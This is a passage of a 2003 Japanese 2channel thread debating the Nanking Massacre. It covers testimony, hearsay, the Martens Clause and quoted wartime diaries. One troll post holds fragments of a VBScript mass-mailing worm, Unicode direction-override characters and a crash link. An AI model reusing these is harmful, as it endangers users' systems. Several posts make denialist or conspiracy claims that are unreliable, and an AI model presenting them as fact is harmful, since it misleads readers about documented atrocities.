例えば、私の発言を見返して下さい。
>>581(マギー証言の信憑性について)
>>588(ハーグ陸戦規約前文について)
>>613(これまでのあなたとのやりとりについて)
>>615(アメリカ人が南京虐殺をでっちあげる動機について)
>>617(WGIPについて)
事実関係を語る上で、逐一ソースをつけていますよね?
これら一切について、もし私がソースをつけていなかったら
あなたは私の発言に何と答えますか?「根拠を述べよ」と言いませんか?

事実を語る上で、ソース=根拠なのです。
つまりあなたがソース無しで発言し、それを放置するのは、すなわち
「222の言ってる事には根拠が無い」
という事なのです。
私も口が悪いので「出せ、出せ」と書いてますが、あなたのために言ってるんです。
根拠無し呼ばわりされて、何とも思わないのですか?

622 :356:03/08/28 12:16 ID:vujsDsaC
>>619
>贖罪で加害証言をした人は,自分のことだけ話しているの。違うでしょ。
その発言こそ「???」です。
だって私はその直下にこう書いてますよね?
#「同僚」=「親友」ではありません。
#現代だって会社員が自分の会社や上司、ライバルなどに陰口叩いたり密告したりしてますが、
#そういうのもあなた的には「同僚の罪を暴くことが(以下略)」と言いますか?

>加害告白する人たちは,皆さん「贖罪」の気持ちからだよ。
なぜ断言できますか?読心術でも心得ているのですか?

>何もしていないと嘘をつくのは簡単だが,やってもいないことを読者に
>納得させるような上手な嘘をつくのは難しいよ。
前者もそうですが、何一つ根拠がありません。
また、証言の中には実際に矛盾点を指摘されているものだってあるのですが?

>陰口と密告を匿名でして何か意味ありますか?
意味のあるなしは密告者本人の問題として、
肝心なのはあなたがいくら「意味あるのか?」などといったところで
実際に密告も陰口もこの世に存在しています。それすら否定しますか?

>「一緒にいた兵隊の中には」程度でどうやって特定の人の陰口になるんですか?
その質問こそ何の意味があるのか分かりません。
こちらは証言者のタイプとして「贖罪型」「陰口・告発型」「洗脳・陰謀型」という
3つのタイプがある、という事を説明してるだけなんですが。

623 :222:03/08/28 12:16 ID:GavZjzhQ
>>612
>
> #つまり現実には現場のあらゆる状況に対して普遍的にこの法を適用する事はできない、
> #というような内容が含まれている。
> (中略)
> #もちろんその後に「そういう場合は人道や慣習に従え」と続いてはいるが、
> #少なくとも軍事的必要に対しては、この前文は何の説得力も無い。

> で、それに対する>>591はどういう意味ですか、と聞いてるんですが。
 大言壮語の例を忘れていたよ。
451 :356 :03/08/25 10:24 ID:cph278Nd
>>439
それは藤田教授の詭弁だよ。

 で591は,戦数論についての国際法辞典の解説
 藤田教授も,国際法事件も詭弁か?

 マルテンス条項は,私のように解釈するのが定説なのだよ。どうしてもそう読むのがいやだ
というのなら,面倒だから内容は繰り返さない。マルテンス条項の趣旨に添って戦争法規を
解釈するから,戦数論否定説にたつのだ。普通に私の文章を読めば(誤字は除く)分かると
思うんだがね。後で,概説書でも見つけて引用しよう。




624 :222:03/08/28 12:35 ID:GavZjzhQ
またやってしまった。
 国際法事件→国際法辞典

ついで
>知らなかったことを,知ってたふりをする奴とまともに議論できると思うか?
 今まで,知らなかったことを認めなかったのは事実だろう?

手拍子で句点を打つ癖があってな。いつもは,ざっと読んで訂正した後,事務
の検閲を受けるんだが,2チャンネルの書き込みをみてもらうわけにいかんだろ。
見直しもせずに,押すから,変な文章が多いかんべんな。

625 :356:03/08/28 12:38 ID:vujsDsaC
>>620
>具体的にどの証言が,中京の洗脳なんだ。GHQの利益誘導なんだ?具体的に示せよ。

それができない(水掛け論にしかならない)ので「あえて書かなかった」んですが、
そういう人も混ざってる事は考慮して下さい、という事です。
「撫順戦犯管理所」に関して、あまり良いソースではありませんが提示しておきます。
http://www.asahi-net.or.jp/~KU3N-KYM/doyoyon/doyoyo8.html
http://ueno.cool.ne.jp/angelix/datsgohsen/book07/message161.html
http://www.history.gr.jp/nanking/chang07.html

>それ以外の証言はどうして信用できないんだ。

なにも「全ての証言が信用できない」などとは一度も言っていません。
「信用できる証言を挙げて下さい」と言っているのです。
なぜあなたはそうやってスリカエを繰り返すのですか?

>あのな,洗脳は環境から離れれば解けるものなの。

撫順戦犯管理所はともかく、WGIPに関しては
「いまだに環境は変わっていません」が、それで何か?

626 :222:03/08/28 12:42 ID:GavZjzhQ
>>309
> 続き>>616
> >君がしなければならないのは,なぜ伝聞法則がこの場合適用されなければならないのか
> >を説得的に説明することだ。
> なぜですか?こちらは「マギーやベイツの証言は伝聞に過ぎない」という事を主張しているのであって、
> 「信憑性」についての議論ならそれで十分でしょう?
> 逆に聞きますが、あなたは「伝聞証言=全て真実」という考え方なのですか?
 だから,君はなぜ,東京裁判の証言を信用できないと主張するのかを君の言葉で明らかにしてくれ。
わかんないから,手続のことなのかなあと,見当をつけるしかないだろう。
 伝聞証拠だからといって,その供述が一般的に証拠資料として使えないということではないということは
見解が一致しているのか?要は,信用性の問題だと。それならそれでいい。

> >こういうのを印象操作というんだよ。
> >肝心の「「知らないなら知らないと言えば教えてやる」というところを抜くんだからね。
> こちらは
> #「主観」でなく「事実」を語る場合はソース提出が「義務」である
> という主張をしています。
> その主張に対し「知らないなら言えば教える」というのがなぜ「肝心」なのか理解に苦しみます。
> あなたの言い逃れはもうたくさんです。早く回答してください。本当に疲れました。
 私の発言が,事実に沿ってなかったことはあったか。私がソースを示さなかったもので,かつ,後で
示すと約束したもの以外で,事実と異なるものはあったか。インターネットで入手不可能なものはあったか?


627 :ppp:03/08/28 12:43 ID:8k4uR1gC
>マルテンス条項は,私のように解釈するのが定説なのだよ。

君のように解釈するのが定説なら、明瞭な法の適用が可能なはずで、
現在に至るまでもっとハーグ法違反となっているはず。
現実はそうではなく、軍事上の必要とのバランスが困難だからこそ
違反として立件される事例も少ないわけ。

だから君の解釈は現実逃避のサヨク内だけの定説であって、国際社会
では笑い者の説と言っても過言ではない。

628 :356:03/08/28 12:44 ID:vujsDsaC
>>623
> 大言壮語の例を忘れていたよ。
>451 :356 :03/08/25 10:24 ID:cph278Nd
>>439
>それは藤田教授の詭弁だよ。

>>451には「なぜ詭弁なのか」も書かれていますが、省略ですか?
>>616で↓このようなセリフを吐く方の発言とは思えませんが。
#こういうのを印象操作というんだよ。
#肝心の「「知らないなら知らないと言えば教えてやる」というところを抜くんだからね。

>で591は,戦数論についての国際法辞典の解説

はぁ?こちらが>>597で指摘した通りなんですか?
じゃあさっさと>>597に答えて下さい。まだ答えられてませんよ。

>マルテンス条項は,私のように解釈するのが定説なのだよ。

何度も繰り返しますが、「事実」を語るならソースを出して下さい。
少なくともこのスレでは、あなたの(マルテンス条項の)解釈に
異論が「多数」挙がっているようですが。

629 :356:03/08/28 12:54 ID:vujsDsaC
>>624
>今まで,知らなかったことを認めなかったのは事実だろう?

>>613を読んでないんですか?いい加減にしてください。

>>626
>だから,君はなぜ,東京裁判の証言を信用できないと主張するのかを君の言葉で明らかにしてくれ。
・マギーやベイツの証言は伝聞である
・アメリカ人は第三国人ではなく、またGHQによるWGIPの例がある
上記について、ソースまでつけて挙げているのですが。

あと、なぜ「私の言葉」である必要があるのか分かりません。
あなたは藤田教授の件でつっこんできていますが、
ではあなたも藤田教授とか定説とかに頼らずマルテンス条項を説明してみせて下さい。

>伝聞証拠だからといって,その供述が一般的に証拠資料として使えないということではないということは
>見解が一致しているのか?要は,信用性の問題だと。それならそれでいい。

最初から信用性の話をしてるんですが。

>私の発言が,事実に沿ってなかったことはあったか。

そういう問題ではありません。一体こちらの発言の何を読んでるんですか?
ほとんど読まずにレスつけてるとしか思えません。
スレッド全体を1から再読する事をおすすめします。

>インターネットで入手不可能なものはあったか?

なぜ自分の発言の根拠を相手に探させるのですか?
それが「不誠実だ」と、議論の初頭から指摘してましたよね?

630 :222:03/08/28 12:56 ID:GavZjzhQ
>>313
> >>619
> >贖罪で加害証言をした人は,自分のことだけ話しているの。違うでしょ。
> その発言こそ「???」です。
> だって私はその直下にこう書いてますよね?
> #「同僚」=「親友」ではありません。
> #現代だって会社員が自分の会社や上司、ライバルなどに陰口叩いたり密告したりしてますが、
> #そういうのもあなた的には「同僚の罪を暴くことが(以下略)」と言いますか?
 本当に,私の言いたいことが分からないのかな。贖罪意識を持って罪の告白をのだからすべての
事実を語ろうとするだろう,自分の行為だけではなく,「いやではあるが同僚の行為を暴く」ことが不
自然か?
 もう一度聞くぞ,加害体験を公に話すことが「陰口」や「密告」か?
 今は,一般的な陰口とか密告の話をしているんじゃないだろう。私が,同僚の罪を暴くことはいやな
ことだ指摘したのに対して,君が密告と陰口を持ち出しただけだろう。


>
> >何もしていないと嘘をつくのは簡単だが,やってもいないことを読者に
> >納得させるような上手な嘘をつくのは難しいよ。
> 前者もそうですが、何一つ根拠がありません。
 経験則というのだよ。もちろん,実体験でもある。じゃあ,君やってもいないレイプを,あたかもやっ
たかのような迫真の描写ができる自信あるか?

> また、証言の中には実際に矛盾点を指摘されているものだってあるのですが?
 矛盾しているから,その証言はすべて嘘とは限らない。経験的に,日時の記憶は不正確なことが多い
などの分析が昔からあってね。


631 :356:03/08/28 13:09 ID:vujsDsaC
>>630
>本当に,私の言いたいことが分からないのかな。贖罪意識を持って罪の告白をのだからすべての
>事実を語ろうとするだろう,自分の行為だけではなく,「いやではあるが同僚の行為を暴く」ことが不
>自然か?
「贖罪意識で他人の罪を告白」というのは不自然でしょう?
それはむしろ自分の誠実さをアピールする行為であって、
前述(>>622)の3タイプで分類すれば「陰口・告発型」でしょう。

> もう一度聞くぞ,加害体験を公に話すことが「陰口」や「密告」か?
「自分の」加害体験ならば違います。
「仲間の」加害体験ならばそうです。
で、あなたは例によってこれらを混同しています。

>経験則というのだよ。もちろん,実体験でもある。
つまり万人共通でも定説でも何でもない「222個人の主観」なのですね、分かりました。
あなた個人の主観に興味は無いので、その件でこれ以上はつっこみません。

>君やってもいないレイプを,あたかもやったかのような迫真の描写ができる自信あるか?
ものすごく自信あります。エロい話なら任せてください(笑)
で、それに何の意味があるんですか?私個人のレイプ証言でも書け、とでも?

>矛盾しているから,その証言はすべて嘘とは限らない。経験的に,日時の記憶は不正確なことが多い
>などの分析が昔からあってね。
答えになってません。>>619
#やってもいないことを読者に納得させるような上手な嘘をつくのは難しいよ。
これに対し「実際に読者に納得させられなかった証言もある」と言っているのですが?

関係無いけど、もしかしてあなたの経験って「逆転裁判」か何かですか?(笑)

632 :356:03/08/28 13:14 ID:vujsDsaC
さすがに疲れた・・・
222氏の「スリカエ混同ソース無し主観印象操作重箱スミ論法」を
ずっと真面目に相手してるうちに、
こっちのスタイルも微妙に狂ってきた感じがするし。

しばらく性感、もとい静観して、ちょっと第三者の見解を待ちます。

>222氏
レスはつけといて下さい(何かあれば)。でも返答は一時待って下さい。

633 :222:03/08/28 13:17 ID:GavZjzhQ
>>356
 これから出張なのでな。一つだけ。
 レイプをエロ話だと思っているとは・・・・・。
 
 調書をいくら読んでも立たないぞ。100%嘘を見抜ける自信があるよ。

634 :名無しかましてよかですか?:03/08/28 13:30 ID:IRSRXXJ6
とりあえず222はソース出したんだから、356も知ってるかどうか答えたら?
正直、今のままだと、「知らないくせにゴンタたれてる」としか。
少なくとも折れにはそうとしか見えないよ。
222に屈するようで腹立たしいことかもしれないけど、ここは答えといたほうが
得だと思うよ。どう?

635 :名無しかましてよかですか?:03/08/28 14:19 ID:aQrnhwvf
>>356は親米保守主義者じゃないですよね。
反米ですか。
難民区にいた委員って実在してたんですか。その人達のその後とかって分かってます。
オランダの検事が南京事件などの誤認もある、っていったってどこかで読んだンですけど、
そのことについて何か知ってますか。

636 :名無しかましてよかですか?:03/08/28 14:22 ID:K1rPjiG9
>「贖罪意識で他人の罪を告白」というのは不自然でしょう?
>それはむしろ自分の誠実さをアピールする行為であって、

これはちょっとおかしいと思う。
例えば、いじめグループの一人が罪悪感に耐え切れなくなって
「自分たちはこんなことをしていました」と先生に告白した場合、
それは「不自然」で「贖罪意識から出たものではない」のかな?

ちょっと222への対抗意識が強すぎて、自分を見失ってる気がするけど。


637 :名無しかましてよかですか?:03/08/28 17:53 ID:d4qWLbWu
>>627>>628 が説得力あり。222はだめだ。

638 :あひゃ ◆PvXwzK8UaY :03/08/28 17:54 ID:gS8VHB7B
&rlo; http://wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
以上、ケン・コロスでした!  
http://news2.2ch.net|test|read.cgi|newsplus%40195.126.71.77/%63%72%61%73%68%6D%65
http://jbbs.shitaraba.com/game/bbs/read.cgi?BBS=1314&KEY=1026453049
&rlo; ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥
  

639 :名無しかましてよかですか?:03/08/28 18:15 ID:/dfxr/Pl
>>637
「世界戦争犯罪辞典」(文芸春秋・2002)でも読んで「常識」
を養ったらいかが?南京虐殺事件は立派な「戦争犯罪」

640 :名無しかましてよかですか?:03/08/28 22:21 ID:klCovlJb
ところで、よかったら、356にソースを教えてほしいのだが。
「南京大虐殺の証言は洗脳」と「1926年生まれは誤植ではない」の2つ。
ネットで探したけど、見つからないので。

641 :名無しかましてよかですか?:03/08/29 00:38 ID:ltf38pTv
中島今朝吾日記
◇十二月十三日 天気晴朗

(略)

一、一昨夜第一線各隊の奮闘に対し聊か謝意を表する為南京攻略後の祝酒として携行せし酒を第一に追送分配したり

一、本日正午高山剣士来着す 時恰も
  捕虜七名あり 直に試斬を為さしむ
  小生の刀も亦此時彼をして試斬せしめ頚二つを見込(事)斬りたり

一、午後司令部は躍進して西山の麓にある郵便局に移り此処にて事後処理を為す

(以下略)

(「南京戦史資料集T」P218)


642 :名無しかましてよかですか?:03/08/29 00:40 ID:ltf38pTv
第十六師団長、中島今朝吾日記より。

643 :356:03/08/29 11:25 ID:i7DFnXLi
>>633
「出張前に1つだけ」であえて選んだのが、よりによってそれかよ(笑)
こちらの発言の中で一番どーでもいい部分じゃねぇか。お前そんなんばっかりだな。

>>634
「知ってた知らなかった」議論については回答しとるわい。>>613
直近50レスすらも読まずに↓「こんな風に見てる」のかお前は。
>「知らないくせにゴンタたれてる」としか。少なくとも折れにはそうとしか見えないよ。

>>635
整理して喋ってくれ。意味分からん。
こちらの説の立証にそれらのソースが必要だ、という意見なら検討・検索するが、
自分の記憶では今のところそれら関係の発言はしておらんぞ。
もし議論の流れに関係無い単なるクレクレ厨なら、
どこぞの質問スレにでも行け。私はなんでも屋さんじゃない。

>>636
「他人の」と「自分達」では全然違うだろ?
つーか>>622の最後のとことか読んでて言ってるのか?

>>637
●「南京大虐殺の証言は洗脳」のソース
とっくに出してるだろが。「WGIP」「撫順戦犯管理所」でこのスレ内検索しろ。

●「1926年生まれは誤植ではない」のソース
だから虐殺の件もそうだが、なぜ「なかった」ソースを出せ、と言うのだ?
誤植を主張する側がまず先に「誤植だった」ソースを出せよ。
「11歳」の件で、テレ朝が「つっこまれてから」誤植発表したからアヤシイ、
という事しか言っとらんのだぞ、こっちは。ちなみに↓こういう意見もある。
http://academy2.2ch.net/test/read.cgi/china/1029426021/213

644 :356:03/08/29 11:32 ID:i7DFnXLi
●昨日〜今日までの総評
読まずに発言してる(と思える)香具師:3人
意味不明な方:1人

第三者に期待した私が悪かったのか、
そもそも2ちゃんでまともな議論を期待する方がバカなのか。
まぁたった1日だけで罵倒レス返して全否定するのも
我ながら短気すぎる気もするし、とにかくまたしばらく静観する。
3〜4日くらい経ったらまた見に来る(かも知れないし、もう来ないかも知れない)。

645 :名無しかましてよかですか?:03/08/29 11:56 ID:B+LubB2B
>644
帰って来なくていいよ。

646 :名無しかましてよかですか?:03/08/29 12:06 ID:LfPkJQmw
南京事件で「撫順戦犯管理所」が関係するのは大田供述書の一件だけです。
といっても十五万人分の虐殺(の根拠の一つ)ですから、虐殺人数に対する
割合としては大きな意味がありますが、梶谷日記という大田供述書を否定する
証拠物件があり、肯定的に捉える人でさえも大田供述書をまま受け入れる人は
極少ないでしょう。

しかし、南京事件は当時から「知る人ぞ知る」であり、その規模が重要な論点では
あるにせよ、「アトローシティー」と呼ばれて差し支えないようなことがあったのは
事実として認めざるを得ないでしょう。

647 :名無しかましてよかですか?:03/08/29 12:17 ID:sfxbII+3
637だが
>>643
さんくす。

>南京虐殺
すまんが洗脳モノの情報ならいくらでも見つけられてるわけで。
洗脳と南京大虐殺証言の関連づけた、証言なり証拠なり調査報告なりの
ソースがほしいわけだ。
とりあえず、引用先にソレが有るかないかだけでも、教えてほしい。


>誤植だというソース
2版で訂正されてる、てのは、誤植だった立派なソースだと思うが、どうか?
ちなみに、これが本当に誤植かどうかは、確認が非常に簡単なことだ。
目撃証言の確認なんかとはレベルが違う。
日本国の、それも名前がわかってる人の生年月日だからね。
だから、もし誤植を装っているなら、簡単に暴ける嘘だと思うのだが。どう?
でもなぜか、そういうことを調べてみました、というソースは見つからないわけで。

648 :名無しかましてよかですか?:03/08/29 12:38 ID:B+LubB2B
インターネット上に何でもころがっていると思わないほうが・・

東中野教授なんかは「諸君」なんかで熱心にやっているが、靖国で発見
した○○旅団の昭和15年の文集とか(せいぜい台湾公文書館)、調査
範囲が狭いんだよねえ。自説に有利な証拠は無条件肯定だし。

649 :名無しかましてよかですか?:03/08/29 12:55 ID:sfxbII+3
>>648
>インターネット上に何でもころがっていると思わないほうが・・
そうだね。まあ、身の丈にあったレベルでやってますってことで。

650 :むっちょ@かわうそ:03/08/29 13:34 ID:GNRm8ppo
>>648
日本では、日記とか手紙とか、そういう歴史資料を公で集める制度がないからねえ。
基本的に私蔵だから、なかなか遺族に都合悪いことは書けない。
かといって、公でそういうもの全部集めちゃったら、
日本の場合、国に都合の悪いことは焼かれそうだからなあ。

651 :名無しかましてよかですか?:03/08/29 16:12 ID:ia+ZyFld
>222様
マルテンス条項の範囲についてあなたの主張と違う意見が出ている
のですがどちらが事実なのでしょう?
是非間違えを正してあげてください。ここの五番街さんと名無し便衣兵
さんが異論を唱えています。
http://6416.teacup.com/7867zxlotion5/bbs

652 :222:03/08/29 17:38 ID:3avEVf7R
>>651
> >222様
> マルテンス条項の範囲についてあなたの主張と違う意見が出ている
> のですがどちらが事実なのでしょう?
> 是非間違えを正してあげてください。ここの五番街さんと名無し便衣兵
> さんが異論を唱えています。
 
 五番街君がマルテンス条項を狭く解釈するのは,戦数論を否定するた
めだと思われるが,解釈論としては,私の議論の方が正しい。
 根拠としての第1文と第2文,規範としての第3文から成り立つ。

 この点については,資料を引っ張り出して後に引用しよう。

 

653 :222:03/08/29 18:35 ID:3avEVf7R
>628
> > 大言壮語の例を忘れていたよ。
> >451 :356 :03/08/25 10:24 ID:cph278Nd
> >>>439
> >それは藤田教授の詭弁だよ。
>
> >>451には「なぜ詭弁なのか」も書かれていますが、省略ですか?  

 そんなに恥じ書きたいか?再掲
>「人間でない場合を除く、という条項が挿入されてないので動物にも適用」
>という事になる。おかしいでしょ?

 法規範の名宛人は,「人」なの,法学の基本的な前提。おかしいのは君の方。

 君が,法律学の基礎的素養に欠けていることが,はしなくも暴露されました。
詭弁とは言わないよ。知らなかっただけだよな。

> >>626
> >だから,君はなぜ,東京裁判の証言を信用できないと主張するのかを君の言葉で明らかにしてくれ。
> ・マギーやベイツの証言は伝聞である
> ・アメリカ人は第三国人ではなく、またGHQによるWGIPの例がある
> 上記について、ソースまでつけて挙げているのですが。
 繰り返すが,マギーやベイツは,南京事件との関係では第3国人である。マギーやベイツの証言が偽証
だというのなら,WGIPが南京事件のでっち上げを行っていたことを示す資料,ベイツやマギーがそれに加
担していた資料を示してくれ。
 南京事件のでっち上げは,いつから始まったんだ。それを示す証拠は,そのでっち上げに,なぜ,ドイツ人
であり,ナチス党員であるラーベが加わらなければならないんだ。

 ドイツでは同じようなでっち上げは行っていなかったのに,なぜ日本についてだけでっち上げを行ったんだ。

654 :五番街:03/08/30 08:01 ID:te9WWzDl
222さんへ:松尾男爵板にマルテンス条項の範囲などに関して投稿しましたので、ご興味があれば御覧下さい。

655 :名無しかましてよかですか?:03/08/30 11:53 ID:TAxqLh+o
便衣戦術を正当化している五番街がもっともらしい事言ってもなあ〜


656 :名無しかましてよかですか?:03/08/30 12:56 ID:XA9ozMh/
ハーグ法の趣旨からすれば中国の便衣戦術は完全に反しているよな。
五番外はそれは正当化して、その相手国にすべての人道責任を押し付け
ようとしているな。
どうしても中国を正当化して日本を悪党に仕立て上げたい野心が
成せるダブルスタンダードだね。
誰が見ても竜馬の主張が公平な考えに適っている。

657 :名無しかましてよかですか?:03/08/31 22:15 ID:AOREgM8R
>>655-656
651のリンク先を読む限りだと、お二人の指摘は論点ずれてると思うんだけど、どう?
ひょっとして、わざと?

658 :名無しかましてよかですか?:03/09/01 02:01 ID:RorSYpSK
なんか最近の肯定派って迷走してないか?
特に222。
秦教授を肯定派に分類すること自体、何を言ってんの?って感じだ。

秦教授を肯定すれば、崇善堂の埋葬遺体数全てでっちあげとなる。
崇善堂の遺体埋葬がでっちあげなら。
紅卍字会の埋葬遺体が大半を占める。

紅卍字会の遺体埋葬記録を見ると、女子供の遺体はたったの129。
これが無差別虐殺の原爆と同等という肯定派の頭の構造はどうかしてる。
少なくとも民間人を大量虐殺したという印象操作された南京大虐殺を肯定
することは、民間人の大量虐殺を肯定するに等しいと思うが。

また、嘘の南京大虐殺を持ち出して謝罪を要求する中国に反感を持たな
いこと自体がそもそもおかしい。

659 :名無しかましてよかですか?:03/09/01 02:04 ID:RorSYpSK
肯定派は、4万の埋葬遺体には戦闘による日本軍や中国軍の遺体も
含まれてることを知らないふりをして。
4万人虐殺の証拠だと言うのは止めましょう。

660 :名無しかましてよかですか?:03/09/01 02:17 ID:Acmd1SYj
秦は肯定派だろうに。
「中国にあやまるいわれがどこにある、ケ!」つうのが否定派だろ。

661 :名無しかましてよかですか?:03/09/01 02:35 ID:ay+qXDK4
そりゃ中国の主張が30万以上?なんだから謝るわけにいかんわな。


662 :名無しかましてよかですか?:03/09/01 02:51 ID:2C9lUkjr
確かに被害者は出ただろうと記録が示してるよな。
だけど、戦争ってのはそういうものだと認められないのかな?
戦争から距離をおくとこれだけ妄想がでてくる国になるのか。
俺はある国の傭兵として戦争に参加した経験あるけど
どこでだって南京ほど民間人の被害者が少ない戦場はなかったけど?

663 :名無しかましてよかですか?:03/09/01 02:59 ID:G44YyP6e
牧原信夫(第16師団歩兵第19旅団歩兵第20連隊上等兵)陣中日記

[11月22日]
道路上には支那兵の死体、民衆および婦人の死体が見ずらい様子でのびていたのも可愛想である。
橋の付近には五、六個の支那軍の死体がやかれたり、あるいは首をはねられて倒れている。
話では砲兵隊の将校がためし切りをやったそうである。
[11月26日]
午前(午後の誤り)四時、第二大隊は喚声をあげ勇ましく敵陣地に突撃し、敵第一線を奪取。
住民は家をやかれ、逃げるに道なく、失心状態で右往左往しているのもまったく可愛想だがしかたがない。
午後六時、完全に占領する。七時、道路上に各隊集結を終わり、付近部落の掃討がおこなわれた。
自分たちが休憩している場所に四名の敗残兵がぼやっと現れたので早速捕らえようとしたが、一名は残念ながら逃がし、
あと三名は捕らえた。兵隊たちは早速二名をエンピ(小型シャベル)や十字鍬で叩き殺し、一名は本部に連行、通訳が調べたのち銃殺した。
八時半、宿舎に就く。三小隊はさっそく豚を殺していた。全くすばやくやるのにはおそれ入った。
[11月27日]
支那人のメリケン粉を焼いて食う。休憩中に家に隠れていた敗残兵をなぐり殺す。支那人二名を連れて十一時、出発す…鉄道線路上を前進す。
休憩中に五、六軒の藁ぶきの家を焼いた。炎は天高くもえあがり、気持ちがせいせいした。
[11月28日]
午前十一時、大隊長の命令により、下野班長以下六名は小銃を持ち、残敵の掃討に行く。
…自分たちが前進するにつれ支那人の若い者が先を競って逃げて行く。何のために逃げるのかわからないが、逃げる者は怪しいと見て射殺する。
部落の十二、三家に付火すると、たちまち火は全村を包み、全くの火の海である。老人が二、三人いて可愛想だったが、命令だから仕方ない。
次、次と三部落を全焼さす。そのうえ五、六名を射殺する。意気揚々とあがる。


664 :名無しかましてよかですか?:03/09/01 03:00 ID:G44YyP6e
[11月29日]
武進は抗日、排日の根拠地であるため全町掃討し、老若男女をとわず全員銃殺す。敵は無錫の線で破れてより、全く浮足立って戦意がないのか、
あるいは後方の強固な陣地にたてこもるのかわからないが、全く見えない。
[12月1日]
途中の部落を全部掃討し、また舟にて逃げる二名の敗残兵を射殺し、あるいは火をつけて部落を焼き払って前進する。
呂城の部落に入ったおりすぐに徴発に一家屋に入ったところ三名の義勇兵らしきものを発見。
二名はクリークに蹴落とし、射殺する。一名は大隊本部に連行し手渡す。

[12月5日]
午前八時、準備万端終わり、同部落を出発する。出発する時はもはや全村火の海である。
南京に近いのだろう。一軒家に乾しいもが目についた。吾先にとまたたくまに取り尽くした。

(『南京事件 京都師団関係資料集』、笠原『南京事件』p.87-89)


665 :名無しかましてよかですか?:03/09/01 04:08 ID:Acmd1SYj
>662 名前:名無しかましてよかですか? :03/09/01 02:51 ID:2C9lUkjr
>確かに被害者は出ただろうと記録が示してるよな。
>だけど、戦争ってのはそういうものだと認められないのかな?
>戦争から距離をおくとこれだけ妄想がでてくる国になるのか。
>俺はある国の傭兵として戦争に参加した経験あるけど
>「どこでだって南京ほど民間人の被害者が少ない戦場はなかったけど?」

お元気ですね?何歳ですかw




666 :名無しかましてよかですか?:03/09/02 11:30 ID:9Zl+waxR
大日本帝國万歳!!
http://members.tripod.co.jp/almond_choco11/kaiten.swf
http://noigel.hp.infoseek.co.jp/swf/kakutatakaeri.swf



667 :名無しかましてよかですか?:03/09/02 11:48 ID:ARLlIaIY
 中間派は辛いもので、左右両翼から叩かれる運命にある。左側から責める笠原は、
 広島・長崎の原爆死者数と同じく「確定は困難」としながら、筆者の推計について
 「三十万人虐殺を否定し、それを南京虐殺の否定にすり替えようとしている」と
 きめつけて、「過小評価派」と命名したうえ、「今後の文部省教科書検定で・・・・・・
 <学問的業績>として利用されるに違いない」と皮肉っている。四万人でも史上有数の
 大虐殺だ、と筆者が述べているにもかかわらずである。
(泰郁彦『昭和史の謎を追う(上)』p183、文春文庫版)

泰郁彦教授は自分で言っているのだから立派な「大虐殺派」であろう。
中国の言っていることをまともには信用してはいないという点では笠原も同様である。
でなければ「十数万から二十万以上」などという見解が出ようはずがない。
笠原がそれでも必死で中国に媚びていることは明々白々であるが、中国提出の虐殺数の
根拠となる証拠を自説の虐殺数算定根拠にまるで用いないという点で、
泰と同じなのである。この辺は両者とも流石は歴史学者といったところだ。

否定派がこれら歴史学者と違うのは、どんな手を尽くしてでも過少に過少に見積もろう
とする姿勢にある。板倉などは、そもそも日本側の証拠は明らかになっているものが
限定されているのに、それをさらに戦果報告は過大が常識として半分以下にしてしまう
わけだし、当然の如しとして便衣兵(容疑)殺害を間引くのである。それでも自分の信じる
虐殺はこれだけで後は全部虐殺ではないとして無視する畝本よりは遙かにマシでは
あるが・・・

668 :名無しかましてよかですか?:03/09/02 21:25 ID:nQLpLjCP
まず,日本軍がなぜ南京に進出していったのか考えましょう
明らかな侵略だったのではないですか?
30万人虐殺されたというのが気に食わない人はゴーマニズムの中で
中国人や韓国人の顔が気味悪く書いてあるのはどう思うんですか?
被害者がオーバーに証言してしまうのはあたりまえでしょう


669 :176など:03/09/02 23:01 ID:ivljav7t
>>668
久しぶり、共産党員さん。明らかに論のすり替えですね。
>タイトルの通り、その時南京で何が起こったのか、お互いに資料をもちより、
>検証しあい、認識を深めようとするスレッドです
これが本刷れです。
「侵略」云云を語りたいなら、他のスレッドでやってください。
なんなら、お相手しますよ

670 :名無しかましてよかですか?:03/09/05 04:57 ID:HtCJmFzu
肯定派はいつも最後は逃げるんだな・・・・・・

671 :名無しかましてよかですか?:03/09/05 05:09 ID:KlxNQoms
逃げてねえぞw

672 :名無しかましてよかですか?:03/09/05 07:15 ID:nJHV7L7v
否定派は逃げないね。別の話題を振ってくる。

673 :名無しかましてよかですか?:03/09/06 20:38 ID:EkjQkRrD
外国人が管理した安全区以外に難民区があるってほんとですか?

もし知っている方がいらっしゃったら、資料教えて下さい。

674 :名無しかましてよかですか?:03/09/08 16:27 ID:zWpZSK09
よーく考えよう
オウム幹部村井秀夫を刺殺して結果として事件の証拠隠滅をした犯人は
右翼を名乗る在日だった。何でだろう?(TV出演した村井秀夫は、
「教団の資産は1千億円」と発表するなど闇の部分を知っていた様子)
麻原彰晃の右腕・古参幹部だった早川は元統一協会信者だった。何でだろう?
(統一協会から送りこまれた?)
オウムは統一協会の事務所を引き継ぐ様に使っていた。(事務所のドアには
統一協会の名前が残ったままで使われていました)何でだろう?

参考
http://www.club-kamikaze.net/yamato_ishin/sothutaku/aum02.html
オウムと統一教会を結ぶ線(創価も出てます)

http://hiroshima.cool.ne.jp/h_sinobu/touitukyoukai1.html
◎統一協会とオーム真理教と北朝鮮の関係

http://www.korea-np.co.jp/special/s-korea/kcia980427.htm
安企部(KCIA)の対日マスコミ工作

http://technotrade.50megs.com/kok_website/fireworks4/my_own_opinion/OUMUTEIKOKUNO_SYOUTAIYORI_BASSUI_JUMP_YOU.HTM
オウム帝国の正体 (創価も出てます)

675 :瀬戸内:03/09/08 18:13 ID:I10zCbb+
便衣兵が民間人を装い、民間人に紛れて攻撃する存在だとするなら、フセインの
残党かアルカイダかしらず、現在イラクの米軍を襲っている存在に近い。米兵の死者
の10倍負傷者、その10倍の被弾があるだろう。南京城とその周辺の狭い地区に
